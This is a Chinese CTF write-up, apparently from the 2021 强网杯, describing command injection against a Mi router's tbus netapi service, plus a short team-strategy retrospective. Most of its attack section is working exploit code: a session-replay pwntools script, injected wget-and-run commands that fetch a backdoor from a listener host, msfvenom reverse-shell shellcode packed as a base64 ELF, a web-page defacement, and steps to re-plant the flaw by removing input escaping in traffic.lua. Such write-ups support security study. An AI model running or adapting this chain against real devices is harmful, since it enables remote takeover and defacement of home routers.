尝试直接复现图中序号为16的包的命令注入,在不重启的情况下成功,但是重启失效,与是还是要分析是不是有session啥的,分析完发现其通信过程较简单:
- 每次重启后,注入包的开头有几个字节不一样
- 这几个字节是由784发过来的,如图中序号为12的包
- 如图中序号为10的包,每次重启一样,每次返回的序号为12的包序号不同,应该是握手包
所以复现10号握手包,把收回来的12号包中的session号塞到16号注入包即可
复现脚本
wget下载的反连后门以及黑页,不是很优雅,需要开两个窗口,不过比赛还是速度第一,命令注入内容如下,固定本机地址为192.168.31.7
:
tbus call netapi init '{"data":"ad$(wget http://192.168.31.7:8000/backdoor -O /tmp/backdoor ; chmod +x /tmp/backdoor ; /tmp/backdoor )min"}'
其中反弹shell的后门程序使用msfvenom生成:
msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.31.7 LPORT=6666 -f elf -o backdoor
复现流量的脚本如下:
python2
from pwn import *
import thread
context(log_level='debug')
io = remote("192.168.31.1",784)
shell = listen(6666)
def attack():
syn = '0004010000000000000000100200000b6e65746170690000'
io.recv()
io.send(syn.decode("hex"))
id_data = io.recv()
id_real = id_data[28:28+4]
log.warn(id_real.encode("hex"))
p = "00050200"+id_real[::-1].encode("hex")+"0000009403000008"+id_real.encode("hex")+"04000009696e6974000000000700007c830000760004646174610000616424287767657420687474703a2f2f3139322e3136382e33312e373a383030302f6261636b646f6f72202d4f202f746d702f6261636b646f6f72203b2063686d6f64202b78202f746d702f6261636b646f6f72203b202f746d702f6261636b646f6f7220296d696e000000"
log.warn(p)
io.recv()
io.send(p.decode("hex"))
sleep(0.1)
thread.start_new_thread(attack,())
shell.wait_for_connection()
log.success("getshell")
shell.sendline("cp -r /www /tmp/fake_www");sleep(0.1)
shell.sendline("wget http://192.168.31.7:8000/index.html -O /tmp/fake_www/index.html");sleep(0.1)
shell.sendline("mount -o loop /tmp/fake_www /www");sleep(0.1)
shell.interactive()
赛后复盘
这次比赛前我带了我能带的所有东西:烙铁、锡、吸锡带、排针、排线、串口转USB、蓝牙 usb dongle、wifi抓包网卡、抓包树莓派、测试夹、编程器、Arduino等等。虽然基本没有用上,不过也算是准备的万无一失。
多人策略
写文章的思路虽然是顺着的,但是比赛现场的分析却是网状的东一榔头西一棒子。这次我们一起打IoT的总共6人,失误的点就是第一天对于netapi的逆向失败,导致在Web口分析上浪费了大量的时间,虽然对于系统的理解是有帮助的,但仍然耽误了解题的速度。但这个失误点本质不是逆向的问题,而是策略的问题。我们6个人,其中一个给netapi的逆向判死刑了,其余5个就都默认了,这他妈才是最大的问题! 所以,两条经验:
- 多人合作时,虽然是分而治之,但是当给问题判死刑时,有能力研判此问题的人,应当每人独立的给问题判刑。
- checklist或者画图很重要,这次对于测试的流程基本没有疏漏,但是当时对于业务的分析并没有很清晰的梳理,全靠大脑冥想是不利于队友同步的,也就是最好来一个黑板。
一发入魂
这种反连shell的打法,一般要开三、四个窗口:
- 打exp的窗口
- webserver提供反连的后门程序和黑页
- 反弹shell的接受窗口
- 拿shell后续利用的快速备忘录窗口等
赛后希望反连shell的代码就直接从784正向打进去,然后挂的黑页就直接在反连的shell里直接写入,并且正连反连都在一个python脚本里,这样就只用一个窗口了。发现这个设备里有base64,所以使用base64编码写入二进制文件即可,不过因为tbus的协议格式里有长度,所以先试了一个比较长的payload,然后复用这个长度,短的命令注入补齐长度即可:
tbus call netapi init '{"data":"$(echo f0VMRgEBAQAAAAAAAAAAAAIACAABAAAAEAFBADQAAAAYAgAAARAAADQAIAAFACgABgAFAAMAAHDYAAAA2ABAANgAQAAYAAAAGAAAAAQAAAAIAAAAAAAAcPAAAADwAEAA8ABAABgAAAAYAAAABAAAAAQAAAABAAAAAAAAAAAAQAAAAEAACAEAAAgBAAAEAAAAAAABAAEAAAAQAQAAEAFBABABQQC5AAAAuQAAAAcAAAAAAAEAUeV0ZAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAABAAAAAAAAAAAAABAAEBAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAgUEAAAAAAAAAAAD6/w8kJ3jgAf3/5CH9/+Uh//8GKFcQAiQMAQEB//+ir///pI/9/w80J3jgAeL/r68aCg48GgrONeT/rq8fBw48wKjONeb/rq/i/6Un7/8MJCcwgAFKEAIkDAEBAf3/ESQniCAC//+kjyEoIALfDwIkDAEBAf//ECT//zEi+v8wFv//BihiaQ88Ly/vNez/r69zaA48bi/ONfD/rq/0/6Cv7P+kJ/j/pK/8/6Cv+P+lJ6sPAiQMAQEBAEEPAAAAZ251AAEHAAAABAEALnNoc3RydGFiAC5NSVBTLmFiaWZsYWdzAC5yZWdpbmZvAC5zaGVsbGNvZGUALmdudS5hdHRyaWJ1dGVzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAACoAAHACAAAA2ABAANgAAAAYAAAAAAAAAAAAAAAIAAAAGAAAABoAAAAGAABwAgAAAPAAQADwAAAAGAAAAAAAAAAAAAAABAAAABgAAAAjAAAAAQAAAAcAAAAQAUEAEAEAALkAAAAAAAAAAAAAAAEAAAAAAAAALgAAAPX//28AAAAAAAAAAMkBAAAQAAAAAAAAAAAAAAABAAAAAAAAAAEAAAADAAAAAAAAAAAAAADZAQAAPgAAAAAAAAAAAAAAAQAAAAAAAAAK | base64 -d > /tmp/exp ; chmod +x /tmp/exp ; /tmp/exp)"}'
最终exp如下:
python3
from pwn import *
import base64,threading
context(arch='mips', endian='little')
io = remote("192.168.31.1",784)
shell = listen(6666)
black_page='''<!DOCTYPE html>
<html style="height:100%">
<head>
<meta name="viewport" charset="utf-8" content="width=device-width, initial-scale=1, shrink-to-fit=no" >
<title> Mi Router </title>
</head>
<body style="color: #444; margin:0; font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">
<div style="height:auto; min-height:100%; ">
<div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">
<h1 style="margin:0; font-size:140px; line-height:150px; font-weight:bold;">HACKED BY</h1>
<h2 style="margin-top:45px; color: red; font-size: 100px;">Redbud</h2>
<p>Copyright ©2021 强网杯</p>
</div>
</div>
</body>
</html>
'''
# msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.31.7 LPORT=6666 -f py -o backdoor.py
shellcode = b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
shellcode += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
shellcode += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
shellcode += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x1a\x0a\x0e\x3c"
shellcode += b"\x1a\x0a\xce\x35\xe4\xff\xae\xaf\x1f\x07\x0e\x3c\xc0"
shellcode += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
shellcode += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
shellcode += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
shellcode += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
shellcode += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
shellcode += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
shellcode += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
shellcode += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
shellcode += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
shellcode += b"\x01\x01"
shellcode = base64.b64encode(make_elf(shellcode))
cmd_inject = b'$(echo %s | base64 -d > /tmp/exp ; chmod +x /tmp/exp ; /tmp/exp)' % shellcode
assert(len(cmd_inject) < 1100)
cmd_inject = cmd_inject.ljust(1100,b'\x00')
def attack():
syn = bytes.fromhex('0004010000000000000000100200000b6e65746170690000')
io.recv(); io.send(syn)
session = io.recv()[28:28+4]
payload = bytes.fromhex("00050200"+session[::-1].hex()+"0000047403000008"+session.hex())
payload += bytes.fromhex("04000009696e6974000000000700045c830004570004646174610000")
payload += cmd_inject
io.recv(); io.send(payload)
threading.Thread(target=attack).start()
shell.wait_for_connection()
log.success("getshell")
shell.sendline("echo '%s' > /tmp/index.html" % black_page)
shell.sendline("mount -o bind /tmp/index.html /www/index.html")
shell.interactive()
复现埋洞
进ssh把traffic.lua
的:gsub("%$", "\\$")
删掉然后重挂载即可,如果不想每次都来一遍,也可以直接把以下三条写在/etc/init.d/rcS
中,然后reboot即可:
cp /usr/lib/lua/traffic.lua /tmp
sed -i 's/:gsub("%$", "\\\\$")//g' /tmp/traffic.lua
mount -o bind /tmp/traffic.lua /usr/lib/lua//traffic.lua